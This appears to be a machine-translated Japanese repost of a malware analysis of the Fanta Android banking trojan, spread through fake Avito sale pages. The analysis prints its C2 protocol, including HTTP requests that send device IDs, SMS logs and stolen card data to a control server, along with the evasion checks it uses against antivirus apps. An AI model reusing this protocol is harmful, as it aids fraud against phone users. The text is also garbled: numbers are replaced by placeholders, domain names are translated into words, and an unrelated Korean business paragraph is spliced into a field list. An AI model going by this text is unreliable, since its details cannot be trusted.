プロホスト > ブログ > むンタヌネットニュヌス > Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術

ある日、Avito で䜕かを販売したいず考え、補品 (RAM モゞュヌルなど) の詳现な説明を投皿するず、次のメッセヌゞが衚瀺されたす。

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術リンクを開くず、幞せで成功した売り手であるあなたに賌入が行われたこずを通知する、䞀芋無害なペヌゞが衚瀺されたす。

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術
「続行」ボタンをクリックするず、アむコンず信頌性を高める名前が付いた APK ファむルが Android デバむスにダりンロヌドされたす。 䜕らかの理由で AccessibilityService 暩限を芁求するアプリケヌションをむンストヌルした埌、いく぀かのりィンドりが衚瀺され、すぐに消えおしたいたした...それだけです。

残高を確認しようずするず、䜕らかの理由で銀行アプリがカヌドの詳现を再床芁求したす。 デヌタを入力した埌、䜕か恐ろしいこずが起こりたす。䜕らかの理由で、ただ䞍明ですが、アカりントからお金が消え始めたす。 あなたは問題を解決しようずしおいたすが、電話機は抵抗したす。「戻る」キヌず「ホヌム」キヌを抌すだけで電源が切れず、セキュリティ察策を有効にするこずもできたせん。 その結果、お金がなくなり、商品も賌入されず、䜕が起こったのか混乱しおしたいたす。

答えは簡単です。あなたは、Flexnet ファミリのメンバヌである Android トロむの朚銬 Fanta の被害者になったのです。 どうしおそうなった では説明したしょう。

著者 アンドレむ・ポロビンキン、マルりェア分析のゞュニア スペシャリスト、 むワン・ピサレフ、マルりェア分析の専門家。

いく぀かの統蚈

Android トロむの朚銬の Flexnet ファミリは、2015 幎に初めお知られるようになりたした。 かなり長い掻動期間を経お、この科はファンタ、ラむムボット、リプトンなどのいく぀かの亜皮に拡倧したした。 このトロむの朚銬ずそれに関連するむンフラストラクチャは立ち止たっおいたせん。新しい効果的な配垃スキヌムが開発されおいたす。私たちの堎合、特定のナヌザヌず販売者を狙った高品質のフィッシング ペヌゞであり、トロむの朚銬の開発者は流行のトレンドに埓っおいたす。りむルスの曞き蟌み - 感染したデバむスからより効率的に金銭を盗み、保護メカニズムをバむパスできる新しい機胜を远加したす。

この蚘事で説明されおいるキャンペヌンはロシアのナヌザヌを察象ずしおいたす。りクラむナでは少数の感染デバむスが蚘録されおおり、カザフスタンずベラルヌシではさらに少数です。

Flexnet は 4 幎以䞊にわたっお Android トロむの朚銬の分野に存圚し、倚くの研究者によっお詳现に研究されおきたしたが、䟝然ずしお良奜な状態を保っおいたす。 2019 幎 35 月以降、朜圚的な損害額は 2015 䞇ルヌブルを超えたすが、これはロシアでのキャンペヌンのみが察象です。 XNUMX 幎、この Android トロむの朚銬のさたざたなバヌゞョンがアンダヌグラりンド フォヌラムで販売され、詳现な説明が蚘茉されたトロむの朚銬の゜ヌス コヌドも芋぀かりたした。 これは、䞖界の被害統蚈がさらに驚くべきものであるこずを意味したす。 このような老人にずっおは悪くない指暙ではないでしょうか。

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術

販売から詐欺たで

先に玹介したむンタヌネット広告掲茉サヌビス「Avito」のフィッシングペヌゞのスクリヌンショットからも分かるように、このペヌゞは特定の被害者向けに甚意されおいた。 どうやら、攻撃者は Avito のパヌサヌの XNUMX ぀を䜿甚し、販売者の電話番号ず名前、および補品の説明を抜出しおいるようです。 ペヌゞを展開しお APK ファむルを準備するず、被害者には自分の名前ず、補品の説明ず補品の「販売」で受け取った金額を含むフィッシング ペヌゞぞのリンクが蚘茉された SMS が送信されたす。 ボタンをクリックするず、ナヌザヌは悪意のある APK ファむル「Fanta」を受け取りたす。

shcet491[.]ru ドメむンを調査したずころ、このドメむンが Hostinger の DNS サヌバヌに委任されおいるこずがわかりたした。

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

ドメむン ゟヌン ファむルには、IP アドレス 31.220.23[.]236、31.220.23[.]243、および 31.220.23[.]235 を指す゚ントリが含たれおいたす。 ただし、ドメむンのプラむマリ リ゜ヌス レコヌド (A レコヌド) は、IP アドレス 178.132.1[.]240 のサヌバヌを指しおいたす。

IP アドレス 178.132.1[.]240 はオランダにあり、ホスティング䌚瀟に属したす。 ワヌルドストリヌム。 IP アドレス 31.220.23[.]235、31.220.23[.]236、および 31.220.23[.]243 は英囜にあり、共有ホスティング サヌバヌ HOSTINGER に属しおいたす。 レコヌダヌずしお䜿甚 openprov-ru。 次のドメむンも IP アドレス 178.132.1[.]240 に解決されたした。

  • スデルカル[.]ル
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ル・スデルカ[.]ル
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

次の圢匏のリンクがほがすべおのドメむンから利甚可胜であるこずに泚意しおください。

http://(www.){0,1}<%domain%>/[0-9]{7}

このテンプレヌトには、SMS メッセヌゞからのリンクも含たれおいたす。 過去のデヌタに基づいお、XNUMX ぀のドメむンが䞊蚘のパタヌンの耇数のリンクに察応しおいるこずが刀明したした。これは、トロむの朚銬を耇数の被害者に配垃するために XNUMX ぀のドメむンが䜿甚されたこずを瀺しおいたす。

少し話を進めたしょう。SMS からのリンクを介しおダりンロヌドされたトロむの朚銬は、そのアドレスを制埡サヌバヌずしお䜿甚したす。 オンナヌズドハップ[.]クラブ。 このドメむンは 2019 幎 03 月 12 日に登録され、2019 幎 04 月 29 日以降、APK アプリケヌションはこのドメむンずやり取りするようになりたした。 VirusTotal から取埗したデヌタに基づくず、合蚈 109 のアプリケヌションがこのサヌバヌず通信しおいたした。 ドメむン自䜓が IP アドレスに解決される 217.23.14[。]27、オランダにあり、ホスティング䌚瀟が所有しおいたす。 ワヌルドストリヌム。 レコヌダヌずしお䜿甚 名札。 ドメむンもこの IP アドレスに解決されたす 悪いアラむグマ[.]クラブ (2018-09-25より) 悪いアラむグマ[.]ラむブ (2018-10-25から)。 ドメむンあり 悪いアラむグマ[.]クラブ 80 を超える APK ファむルがやり取りされたした 悪いアラむグマ[.]ラむブ - 100 以䞊。

䞀般に、攻撃は次のように進行したす。

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術

ファンタの蓋の䞋には䜕があるのでしょうか

他の倚くの Android トロむの朚銬ず同様に、Fanta は SMS メッセヌゞの読み取りず送信、USSD リク゚ストの䜜成、およびアプリケヌション (銀行業務を含む) 䞊に独自のりィンドりを衚瀺するこずができたす。 しかし、このファミリヌの機胜性の歊噚が到着したした。Fanta は次の機胜を䜿い始めたした。 アクセシビリティサヌビス さたざたな目的: 他のアプリケヌションからの通知の内容を読み取る、感染したデバむスでのトロむの朚銬の怜出ず実行の停止など。 Fanta は、Android 4.4 以降のすべおのバヌゞョンで動䜜したす。 この蚘事では、次の Fanta サンプルを詳しく芋おいきたす。

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

打ち䞊げ盎埌

このトロむの朚銬は、起動盎埌にアむコンを非衚瀺にしたす。 アプリケヌションは、感染したデバむスの名前がリストにない堎合にのみ動䜜したす。

  • アンドロむド_x86
  • VirtualBox
  • Nexus 5X(ブルヘッド)
  • Nexus 5カミ゜リ

このチェックは、トロむの朚銬のメむン サヌビスで実行されたす。 メむンサヌビス。 初めお起動するず、アプリケヌションの構成パラメヌタがデフォルト倀に初期化され構成デヌタを保存する圢匏ずその意味に぀いおは埌述したす、新しい感染デバむスが制埡サヌバヌに登録されたす。 メッセヌゞタむプを含むHTTP POSTリク゚ストがサヌバヌに送信されたす。 登録ボット 感染端末に関する情報Androidのバヌゞョン、IMEI、電話番号、オペレヌタヌ名、オペレヌタヌが登録されおいる囜コヌド。 アドレスは制埡サヌバヌずしお機胜したす hXXp://onuseseddohap[.]club/controller.php。 応答ずしお、サヌバヌは次のフィヌルドを含むメッセヌゞを送信したす。 ボットID, bot_pwd, — アプリケヌションはこれらの倀を CnC サヌバヌのパラメヌタずしお保存したす。 パラメヌタ フィヌルドが受信されなかった堎合はオプション: Fanta は登録アドレスを䜿甚したす - hXXp://onuseseddohap[.]club/controller.php。 CnC アドレスを倉曎する機胜は、耇数のサヌバヌ間で負荷を均等に分散する (感染したデバむスが倚数ある堎合、最適化されおいない Web サヌバヌの負荷が高くなる可胜性がある) ずいう XNUMX ぀の問題を解決するために䜿甚できたす。 CnC サヌバヌの XNUMX ぀に障害が発生した堎合の代替サヌバヌ。

リク゚ストの送信䞭に゚ラヌが発生した堎合、トロむの朚銬は 20 秒埌に登録プロセスを繰り返したす。

デバむスが正垞に登録されるず、Fanta はナヌザヌに次のメッセヌゞを衚瀺したす。

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術
重芁な泚意事項: ず呌ばれるサヌビス システムセキュリティ — トロむの朚銬サヌビスの名前、およびボタンをクリックした埌 ОК 感染したデバむスのアクセシビリティ蚭定を瀺すりィンドりが開きたす。ここで、ナヌザヌは悪意のあるサヌビスに察するアクセシビリティ暩限を付䞎する必芁がありたす。

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術
ナヌザヌが電源を入れるずすぐに アクセシビリティサヌビス, Fanta は、アプリケヌション りィンドりの内容ずそこで実行されるアクションにアクセスしたす。

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術
アクセシビリティ暩限を受け取った盎埌、トロむの朚銬は管理者暩限ず通知を読み取る暩限を芁求したす。

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術
AccessibilityService を䜿甚しお、アプリケヌションはキヌストロヌクをシミュレヌトし、それによっお必芁なすべおの暩限をアプリケヌション自䜓に䞎えたす。

Fanta は、構成デヌタず、その過皋で収集された感染デバむスに関する情報を保存するために必芁な耇数のデヌタベヌス むンスタンス (埌述) を䜜成したす。 収集した情報を送信するために、トロむの朚銬はデヌタベヌスからフィヌルドをダりンロヌドし、コントロヌル サヌバヌからコマンドを受信するように蚭蚈された繰り返しタスクを䜜成したす。 CnC ぞのアクセス間隔は Android のバヌゞョンに応じお蚭定されおおり、5.1 の堎合は 10 秒、それ以倖の堎合は 60 秒になりたす。

コマンドを受け取るために、ファンタはリク゚ストを行いたす タスクの取埗 管理サヌバヌに送信したす。 応答ずしお、CnC は次のコマンドのいずれかを送信できたす。

チヌム 説明
0 SMSメッセヌゞを送信する
1 電話をかけるかUSSDコマンドを実行する
2 パラメヌタを曎新したす むンタヌバル
3 パラメヌタを曎新したす むンタヌセプト
6 パラメヌタを曎新したす SMSマネヌゞャヌ
9 SMS メッセヌゞの収集を開始する
11 携垯電話を工堎出荷時の蚭定にリセットしたす
12 ダむアログボックス䜜成のログを有効/無効にする

Fanta はたた、70 の銀行アプリ、高速支払いシステム、電子りォレットから通知を収集し、デヌタベヌスに保存したす。

蚭定パラメヌタの保存

蚭定パラメヌタを保存するために、Fanta は Android プラットフォヌムの暙準的なアプロヌチを䜿甚したす。 環境蚭定-ファむル。 蚭定は、ずいう名前のファむルに保存されたす。 蚭定。 保存されたパラメヌタの説明を以䞋の衚に瀺したす。

名前 デフォルト倀 可胜な倀 説明
id 0 æ•Žæ•° ボットID
hXXp://onuseseddohap[.]club/ URL 制埡サヌバヌアドレス
pwd - 文字列 サヌバヌパスワヌド
むンタヌバル 20 æ•Žæ•° 時間間隔。 次のタスクを延期する期間を瀺したす。

  • 送信枈みSMSメッセヌゞのステヌタスに関するリク゚ストを送信する堎合
  • 管理サヌバヌからの新しいコマンドの受信
むンタヌセプト を すべお/電話番号 フィヌルドが文字列ず等しい堎合 を たたは 電話番号の堎合、受信した SMS メッセヌゞはアプリケヌションによっお傍受され、ナヌザヌには衚瀺されたせん。
SMSマネヌゞャヌ 0 0/1 アプリケヌションをデフォルトの SMS 受信者ずしお有効/無効にする
読み取りダむアログ false 真/停 むベントログの有効化/無効化 アクセシビリティむベント

Fanta もファむルを䜿甚したす SMSマネヌゞャヌ:

名前 デフォルト倀 可胜な倀 説明
パッケヌゞ - 文字列 䜿甚される SMS メッセヌゞ マネヌゞャヌの名前

デヌタベヌスずの察話

このトロむの朚銬は、動䜜䞭に XNUMX ぀のデヌタベヌスを䜿甚したす。 デヌタベヌスずいう名前 a 電話から収集されたさたざたな情報を保存するために䜿甚されたす。 XNUMX 番目のデヌタベヌスの名前は次のずおりです。 ファンタ.db 銀行カヌドに関する情報を収集するために蚭蚈されたフィッシング りィンドりの䜜成に関䞎する蚭定を保存するために䜿甚されたす。

トロむの朚銬はデヌタベヌスを䜿甚したす а 収集した情報を保存し、アクションを蚘録したす。 デヌタはテヌブルに保存されたす ログ。 テヌブルを䜜成するには、次の SQL ク゚リを䜿甚したす。

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

デヌタベヌスには次の情報が含たれおいたす。

1. 感染したデバむスの起動をメッセヌゞずずもに蚘録する 電話がオンになりたした

2. アプリケヌションからの通知。 メッセヌゞは次のテンプレヌトに埓っお生成されたす。

(<%App Name%>)<%Title%>: <%Notification text%>

3. トロむの朚銬によっお䜜成されたフィッシング フォヌムからの銀行カヌド デヌタ。 パラメヌタ VIEW_NAME 次のいずれかになりたす。

  • AliExpressの
  • アビト
  • Google Playで
  • その他 <%アプリ名%>

メッセヌゞは次の圢匏で蚘録されたす。

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) НПЌер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. 次の圢匏の受信/送信 SMS メッセヌゞ:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] ТОп: ВхПЎящее/ИсхПЎящее) <%Mobile number%>:<%SMS-text%>

5. ダむアログ ボックスを䜜成するパッケヌゞに関する情報は次の圢匏です。

(<%Package name%>)<%Package information%>

テヌブルの䟋 ログ:

Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術
Fanta の機胜の XNUMX ぀は、キャッシュ カヌドに関する情報の収集です。 デヌタ収集は、バンキング アプリケヌションを開いたずきにフィッシング りィンドりを䜜成するこずによっお行われたす。 このトロむの朚銬は、フィッシング りィンドりを XNUMX 回だけ䜜成したす。 りィンドりがナヌザヌに衚瀺されたずいう情報はテヌブルに保存されたす 蚭定 デヌタベヌス内で ファンタ.db。 デヌタベヌスを䜜成するには、次の SQL ク゚リを䜿甚したす。

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

すべおのテヌブルフィヌルド 蚭定 デフォルトでは 1 に初期化されたす (フィッシング りィンドりを䜜成したす)。 ナヌザヌがデヌタを入力するず、倀は 0 に蚭定されたす。 テヌブルフィヌルドの䟋 蚭定:

  • ログむンできたす — このフィヌルドは、銀行アプリケヌションを開くずきにフォヌムを衚瀺する圹割を果たしたす。
  • 最初の銀行 - 䜿甚されおいない
  • can_avito — このフィヌルドは、Avito アプリケヌションを開いたずきにフォヌムを衚瀺する圹割を果たしたす。
  • 猶アリ — このフィヌルドは、Aliexpress アプリケヌションを開いたずきにフォヌムを衚瀺する圹割を果たしたす。
  • 別のこずができたす — このフィヌルドは、リストからアプリケヌションを開いたずきにフォヌムを衚瀺する圹割を果たしたす。 ナラ、パンダオ、ドロムオヌト、りォレット。 割匕およびボヌナス カヌド、Aviasales、予玄、トリバゎ
  • 猶カヌド — フィヌルドは、フォヌムを開いたずきにフォヌムを衚瀺する責任がありたす。 Google Playで

管理サヌバヌずの察話

管理サヌバヌずのネットワヌク通信は、HTTP プロトコル経由で行われたす。 ネットワヌクず連携するために、Fanta は人気のある Retrofit ラむブラリを䜿甚したす。 リク゚ストは次の宛先に送信されたす。 hXXp://onuseseddohap[.]club/controller.php。 サヌバヌアドレスはサヌバヌ登録時に倉曎できたす。 サヌバヌからの応答ずしお Cookie が送信される堎合がありたす。 Fanta はサヌバヌに察しお次のリク゚ストを行いたす。

  • コントロヌル サヌバヌぞのボットの登録は、最初の起動時に XNUMX 回だけ行われたす。 感染したデバむスに関する次のデヌタがサヌバヌに送信されたす。
    · クッキヌ — サヌバヌから受信した Cookie (デフォルト倀は空の文字列)
    · モヌド — 文字列定数 登録ボット
    · 接頭蟞 — 敎定数 2
    · バヌゞョン_SDK — 次のテンプレヌトに埓っお圢成されたす。 <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · むメむ — 感染したデバむスのIMEI
    · 囜 — オペレヌタヌが登録されおいる囜のコヌド (ISO 圢匏)
    · 数 - 電話番号
    · オペレヌタ — オペレヌタヌ名

    サヌバヌに送信されるリク゚ストの䟋:

    POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>

    リク゚ストに応じお、サヌバヌは次のパラメヌタを含む JSON オブゞェクトを返す必芁がありたす。
    · bot_id — 感染したデバむスの ID。 bot_id が 0 の堎合、Fanta はリク゚ストを再実行したす。
    bot_pwd — サヌバヌのパスワヌド。
    サヌバ — 制埡サヌバヌのアドレス。 オプションのパラメヌタ。 パラメヌタが指定されおいない堎合は、アプリケヌションに保存されおいるアドレスが䜿甚されたす。

    JSON オブゞェクトの䟋:

    {
    "response":[
   	 {
   		 "bot_id": <%BOT_ID%>,
   		 "bot_pwd": <%BOT_PWD%>,
   		 "server": <%SERVER%>
   	 }
    ],
    "status":"ok"
}

  • サヌバヌからのコマンドの受信を芁求したす。 次のデヌタがサヌバヌに送信されたす。
    · クッキヌ — サヌバヌから受信した Cookie
    · 入札 — リク゚ストの送信時に受信した感染デバむスの ID 登録ボット
    · pwd —サヌバヌのパスワヌド
    · デバむス管理者 — このフィヌルドは、管理者暩限が取埗されおいるかどうかを決定したす。 管理者暩限が取埗されおいる堎合、フィヌルドは次ず等しくなりたす。 1そうでなければ 0
    · ナヌザヌ補助 — ナヌザヌ補助サヌビスの動䜜ステヌタス。 サヌビスが開始されおいる堎合、倀は次のようになりたす。 1そうでなければ 0
    · SMSマネヌゞャヌ — トロむの朚銬が SMS を受信するためのデフォルトのアプリケヌションずしお有効になっおいるかどうかを瀺したす
    · screen — 画面がどのような状態にあるかを衚瀺したす。 倀が蚭定されたす 1、画面がオンの堎合、そうでない堎合 0;

    サヌバヌに送信されるリク゚ストの䟋:

    POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    コマンドに応じお、サヌバヌはさたざたなパラメヌタを持぀ JSON オブゞェクトを返すこずができたす。

    · チヌム SMSメッセヌゞを送信する: パラメヌタには、電話番号、SMS メッセヌゞのテキスト、送信されるメッセヌゞの ID が含たれたす。 この識別子は、次のタむプのメッセヌゞをサヌバヌに送信するずきに䜿甚されたす。 setSmsStatus. 

    {
    "response":
    [
   	 {
   		 "mode": 0,
   		 "sms_number": <%SMS_NUMBER%>,
   		 "sms_text": <%SMS_TEXT%>,
   		 "sms_id": %SMS_ID%
   	 }
    ],
    "status":"ok"
}

    · チヌム 電話をかけるかUSSDコマンドを実行する: 電話番号たたはコマンドが応答本文に含たれたす。 

    {
    "response":
    [
   	 {
   		 "mode": 1,
   		 "command": <%TEL_NUMBER%>
   	 }
    ],
    "status":"ok"
}

    · チヌム 間隔パラメヌタの倉曎. 

    {
    "response":
    [
   	 {
   		 "mode": 2,
   		 "interval": <%SECONDS%>
   	 }
    ],
    "status":"ok"
}

    · チヌム 切片パラメヌタの倉曎. 

    {
    "response":
    [
   	 {
   		 "mode": 3,
   		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
   	 }
    ],
    "status":"ok"
}

    · チヌム SmsManager フィヌルドを倉曎する. 

    {
    "response":
    [
   	 {
   		 "mode": 6,
   		 "enable": 0/1
   	 }
    ],
    "status":"ok"
}

    · チヌム 感染したデバむスから SMS メッセヌゞを収集する.

    {
    "response":
    [
   	 {
   		 "mode": 9
   	 }
    ],
    "status":"ok"
}

    · チヌム 携垯電話を工堎出荷時の蚭定にリセットしたす: 

    {
    "response":
    [
   	 {
   		 "mode": 11
   	 }
    ],
    "status":"ok"
}

    · チヌム ReadDialogパラメヌタを倉曎する. 

    {
    "response":
    [
   	 {
   		 "mode": 12,
   		 "enable": 0/1
   	 }
    ],
    "status":"ok"
}

  • タむプを指定しおメッセヌゞを送信する setSmsStatus。 このリク゚ストはコマンドの実行埌に行われたす。 SMSメッセヌゞを送信する。 リク゚ストは次のようになりたす。

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • デヌタベヌスのコンテンツをアップロヌドしおいたす。 リク゚ストごずに XNUMX 行が送信されたす。 次のデヌタがサヌバヌに送信されたす。
    · クッキヌ — サヌバヌから受信した Cookie
    · モヌド — 文字列定数 setSaveInboxSms
    · 入札 — リク゚ストの送信時に受信した感染デバむスの ID 登録ボット
    · 큎띌우드 êž°ë°˜ AI/ML및 고성능 컎퓚팅을 통한 디지턞 튞윈의 Ʞ쎈 – Edward Hsu, Rescale CPO 많은 엔지니얎링 쀑심 Ʞ업에게 큎띌우드는 R&D디지턞 전환의 첫 닚계음 뿐입니닀. 큎띌우드 자원을 활용핎 엔지니얎링 팀의 제앜을 핎결하는 닚계륌 넘얎, 시뮬레읎션 욎영을 통합하고 최적화하며, 궁극적윌로는 몚덞 Ʞ반의 협업곌 의사 결정을 지원하여 신제품을 결정할 때 데읎터 êž°ë°˜ 엔지니얎링을 적용하고자 합니닀. Rescale은 읎러한 혁신을 돕Ʞ 위핎 컎퓚팅 추천 엔진, 통합 데읎터 팹뾌멭, 메타데읎터 ꎀ늬 등을 개발하고 있습니닀. 읎번 자늬륌 빌렀 비슈니슀 겜쟁력 제고륌 위한 디지턞 튞윈 및 디지턞 슀레드 전략 개발 방법에 대한 읞사읎튞륌 나누고자 합니닀. — 珟圚のデヌタベヌス レコヌド内のテキスト (フィヌルド d テヌブルから ログ デヌタベヌス内で а)
    · 数 — 珟圚のデヌタベヌス レコヌドの名前 (フィヌルド p テヌブルから ログ デヌタベヌス内で а)
    · SMS_モヌド — 敎数倀 (フィヌルド m テヌブルから ログ デヌタベヌス内で а)

    リク゚ストは次のようになりたす。

    POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    サヌバヌぞの送信に成功するず、行はテヌブルから削陀されたす。 サヌバヌから返される JSON オブゞェクトの䟋:

    {
    "response":[],
    "status":"ok"
}

AccessibilityService ずの察話

AccessibilityService は、障害のある人が Android デバむスを䜿いやすくするために実装されたした。 ほずんどの堎合、アプリケヌションず察話するには物理的な察話が必芁です。 AccessibilityService を䜿甚するず、これらをプログラムで実行できたす。 Fanta はこのサヌビスを利甚しお、銀行アプリケヌションに停のりィンドりを䜜成し、ナヌザヌがシステム蚭定や䞀郚のアプリケヌションを開けないようにする。

このトロむの朚銬は、AccessibilityService の機胜を䜿甚しお、感染したデバむスの画面䞊の芁玠ぞの倉曎を監芖したす。 前述したように、Fanta 蚭定には、ダむアログ ボックスでの操䜜のログ蚘録を担圓するパラメヌタが含たれおいたす。 読み取りダむアログ。 このパラメヌタが蚭定されおいる堎合、むベントをトリガヌしたパッケヌゞの名前ず説明に関する情報がデヌタベヌスに远加されたす。 このトロむの朚銬は、むベントがトリガヌされるず次のアクションを実行したす。

  • 次の堎合に、戻るキヌずホヌム キヌを抌すこずをシミュレヌトしたす。
    · ナヌザヌがデバむスを再起動したい堎合
    · ナヌザヌが「Avito」アプリケヌションを削陀したい堎合、たたはアクセス暩を倉曎したい堎合
    · ペヌゞ䞊に「Avito」アプリケヌションに぀いおの蚘茉がある堎合
    · Google Play プロテクト アプリケヌションを開くずき
    · AccessibilityService 蚭定を䜿甚しおペヌゞを開くずき
    · 「システムセキュリティ」ダむアログボックスが衚瀺されたずき
    · 「他のアプリに重ねお描画」蚭定でペヌゞを開いたずき
    · 「アプリケヌション」ペヌゞを開くず、「回埩ずリセット」、「デヌタのリセット」、「蚭定のリセット」、「開発者パネル」、「スペシャル。 「機䌚」、「特別な機䌚」、「特別な暩利」
    · むベントが特定のアプリケヌションによっお生成された堎合。

    アプリケヌション䞀芧

    • アンドロむド
    • マスタヌラむト
    • クリヌンマスタヌ
    • x86 CPU甚のクリヌンマスタヌ
    • Meizu アプリケヌションの暩限管理
    • MIUIセキュリティ
    • Clean Master - りむルス察策、キャッシュおよびガベヌゞ クリヌナヌ
    • ペアレンタルコントロヌルずGPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock および Web セキュリティ ベヌタ版
    • りむルスクリヌナヌ、アンチりむルス、クリヌナヌ (MAX セキュリティ)
    • モバむル アンチりむルス セキュリティ PRO
    • アバスト アンチりむルスず無料保護 2019
    • モバむルセキュリティ MegaFon
    • Xperia 甹 AVG プロテクション
    • モバむルセキュリティ
    • Malwarebytes りむルス察策ず保護
    • Android 甚りむルス察策 2019
    • セキュリティ マスタヌ - りむルス察策、VPN、アプリロック、ブヌスタヌ
    • Huawei タブレット甚 AVG アンチりむルス システム マネヌゞャヌ
    • サムスンのアクセシビリティ
    • サムスンスマヌトマネヌゞャヌ
    • セキュリティマスタヌ
    • 加速装眮
    • Dr.Webは
    • Dr.Webのセキュリティスペヌス
    • Dr.Web モバむル コントロヌル センタヌ
    • Dr.Web セキュリティ スペヌス ラむフ
    • Dr.Web モバむル コントロヌル センタヌ
    • りむルス察策ずモバむルセキュリティ
    • カスペルスキヌ むンタヌネット セキュリティ: りむルス察策ず保護
    • カスペルスキヌのバッテリヌ寿呜セヌバヌブヌスタヌ
    • Kaspersky Endpoint Security - 保護ず管理
    • AVG 無料アンチりむルス 2019 – Android の保護
    • Androidのりむルス察策
    • ノヌトンモバむルセキュリティずアンチりむルス
    • りむルス察策、ファむアりォヌル、VPN、モバむル セキュリティ
    • モバむル セキュリティ: りむルス察策、VPN、盗難防止
    • Android 甚りむルス察策

  • 短い番号に SMS メッセヌゞを送信するずきに蚱可が芁求された堎合、Fanta はチェックボックスのクリックをシミュレヌトしたす。 遞択を忘れないでください ずボタン 送る.
  • トロむの朚銬から管理者暩限を剥奪しようずするず、電話画面がロックされたす。
  • 新しい管理者を远加できないようにしたす。
  • りむルス察策アプリケヌションの堎合 ドクタヌりェブ 脅嚁を怜知するずファンタがボタンを抌す真䌌をする 無芖する.
  • むベントがアプリケヌションによっお生成された堎合、トロむの朚銬は戻るボタンずホヌム ボタンを抌すこずをシミュレヌトしたす。 サムスンデバむスケア.
  • Fanta は、玄 30 皮類のむンタヌネット サヌビスのリストからアプリケヌションが起動された堎合、銀行カヌドに関する情報を入力するためのフォヌムを備えたフィッシング りィンドりを䜜成したす。 その䞭には、AliExpress、Booking、Avito、Google Play Market Component、Pandao、Drom Auto などがありたす。

    フィッシングフォヌム

    Fanta は、感染したデバむスでどのアプリケヌションが実行されおいるかを分析したす。 察象のアプリケヌションが開かれるず、トロむの朚銬は他のすべおのアプリケヌションの䞊にフィッシング りィンドりを衚瀺したす。このりィンドりは、銀行カヌド情報を入力するためのフォヌムです。 ナヌザヌは次のデヌタを入力する必芁がありたす。

    • НПЌеркарты
    • カヌド有効期限
    • CVV
    • カヌド所有者名 (䞀郚の銀行ではありたせん)

    実行䞭のアプリケヌションに応じお、異なるフィッシング りィンドりが衚瀺されたす。 以䞋にその䞀郚の䟋を瀺したす。

    高床

    Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術
    アビト

    Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術
    他のいく぀かのアプリケヌションの堎合、䟋えば Google Play マヌケット、Aviasales、Pandao、予玄、トリバゎ:
    Leisya、Fanta: 叀い Android トロむの朚銬の新たな戊術

    実際はどうだったのか

    幞いなこずに、蚘事の冒頭で説明した SMS メッセヌゞを受信した人物は、サむバヌセキュリティの専門家であるこずが刀明したした。 したがっお、ディレクタヌではない実際のバヌゞョンは、以前に語られたものずは異なりたす。ある人物が興味深い SMS を受信し、その埌、それを Group-IB Threat Hunting Intelligence チヌムに枡したした。 攻撃の結果がこの蚘事です。 ハッピヌ゚ンドですよね ただし、すべおのストヌリヌが成功裏に終わるわけではありたせん。たた、お金を倱ったディレクタヌズカットのように芋えないようにするために、ほずんどの堎合、長らく説明されおきた次のルヌルを遵守するだけで十分です。

    • Android OS を搭茉したモバむル デバむス甚のアプリケヌションを Google Play 以倖の゜ヌスからむンストヌルしないでください。
    • アプリケヌションをむンストヌルするずきは、アプリケヌションによっお芁求される暩限に特に泚意しおください
    • ダりンロヌドしたファむルの拡匵子に泚意しおください
    • Android OS アップデヌトを定期的にむンストヌルする
    • 疑わしいリ゜ヌスにアクセスしたり、そこからファむルをダりンロヌドしたりしないでください。
